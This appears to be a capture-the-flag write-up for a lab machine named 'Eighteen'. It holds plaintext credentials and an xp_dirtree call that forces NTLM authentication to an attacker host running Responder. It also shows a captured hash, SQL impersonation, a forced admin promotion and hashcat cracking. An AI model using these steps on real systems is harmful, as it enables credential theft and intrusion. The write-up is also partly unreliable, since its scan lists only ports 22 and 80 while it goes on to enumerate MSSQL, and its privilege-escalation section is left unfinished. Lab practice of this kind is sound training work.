Eighteen¶

Initial Scan¶

Discovered open port 22/tcp on 10.129.221.22
Discovered open port 80/tcp on 10.129.221.22

Port 22 is SSH, port 80 is HTTP.

Enumeration¶

MSSQL is running on the target. Using mssqlclient with discovered credentials:

export username='kevin'
export password='iNa2we6haRj2gaw!'
export dc='10.129.221.22'

Exploitation¶

NTLM Hash Capture via Responder¶

Start Responder to capture NTLM hashes:

cd responder
sudo systemctl stop firewalld
sudo python Responder.py -i tun0

Force MSSQL to authenticate to our machine:

EXEC master..xp_dirtree '\\10.10.14.66\share';

This captures the mssqlsvc NTLM hash:

mssqlsvc::EIGHTEEN:63adb0276818054a:63EE81AA18AF9D3916AF3ADBE84DB00A:0101000000000000...

The hash could not be cracked.

SQL Database Enumeration¶

Using MSSQL impersonation and privilege escalation:

enum_db
enum_impersonate
enum_logins
exec_as_login appdev

Query the financial_planner database:

USE financial_planner;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
SELECT * FROM users;

Create a user on the web app, then promote to admin:

UPDATE users SET is_admin = 1 WHERE id = 1006;

Cracking the Admin Hash¶

The admin password hash from the web application:

pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

Convert for hashcat:

pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
# sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

Crack with hashcat:

hashcat hashwebformat ~/wordlists/rockyou.txt
# iloveyou1

Privilege Escalation¶

Details on the final privilege escalation vector to root require additional enumeration of the target system.

Flags¶

user.txt: *** root.txt: ***